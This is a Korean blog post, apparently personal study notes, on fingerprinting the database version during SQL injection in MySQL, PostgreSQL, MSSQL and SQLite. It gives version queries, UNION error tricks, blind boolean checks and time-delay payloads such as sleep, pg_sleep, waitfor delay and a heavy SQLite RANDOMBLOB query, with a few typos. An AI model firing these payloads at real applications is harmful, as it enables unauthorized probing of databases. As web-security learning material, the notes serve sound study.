1. 쿼리 실행 결과가 출력되는 경우
- DBMS에서 지원하는 환경 변수 값을 이용하여 버전 출력하기
- SELECT @@version
- SELECT version()
- 애플리케이션에서 실행하면서 에러 메세지를 출력하는 경우, 에러 메세지에서 버전 정보 알아내기
- SECLECT 1 UNION SELECT 1,2;
MySQL => ERROR 1222 (21000): The used SELECT statements have different ~~~.
- SECLECT 1 UNION SELECT 1,2;
- 애플리케이션에서 쿼리 실행결과로참 거진 여부만 출력할 경우, Blind SQL Injection
- mid(@@version, 1, 1)='5';
- substr(version(), 1, 1)='P';
2. 쿼리와 관련된 어떠한 결과도 출력하지 않는 경우
- 시간 지연 이용
- sleep(10)
- pg_sleep(10)
MySQL
- mysql> SELECT @@version; # SELECT version();
- mysql> SELECT 1 UNION SELECT 1, 2;
ERROR 1222 (21000): The used SELECT statements have a different number ~~. - mysql> SELECT mid(@@version, 1, 1)='5';
- mysql> SELECT mid(@@version, 1, 1)='6' and sleep(2)
PostgreSQL
- postgres=$ SELECT version();
- postgres=$ SELECT 1 UNION SELECT 1, 2;
ERROR: each UNIOM query must have the same...
LINE 1: select 1 union select 1, 2; - postgres=$ SELECT substr(version(), 1, 1)='P';
MSSQL
- > SELECT @@version;
- > SELECT 1 UNION SELECT 1, 2;
Msg 205, Level 16, State 1, Server ~~, Line 1
All queries combinde using a UNION, INTERSECT or ~~. - > SELECT 1 FROM test WHERE substring(@@version, 1, 1)='M';
- > SELECT '' if(substring(@@version, 1, 1)='M') waitfor delay '0:0:5;
SQLite
- sqlite> SELECT sqlite_version();
- sqlite> SELECT 1 UNION SELECT 1, 2;
Error: SELECTs to the left and right of UNION do ~~. - sqlite> SELECT substr(sqlite_version(), 1, 1)='3'
- sqlite> SELECT case when substr(sqlite_version(), 1, 1)='3' then LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;
=> 버전의 첫 글자가 '3'이면 시간 지연, 아니면 1=1 실행
'Web > SQL Injection' 카테고리의 다른 글
System table (0) | 2024.08.15 |
---|---|
Error & Time based SQL Injection (0) | 2024.08.07 |
Blind SQL Injection (0) | 2024.08.06 |
UNION / Subquery (0) | 2024.08.06 |
DML (0) | 2024.08.06 |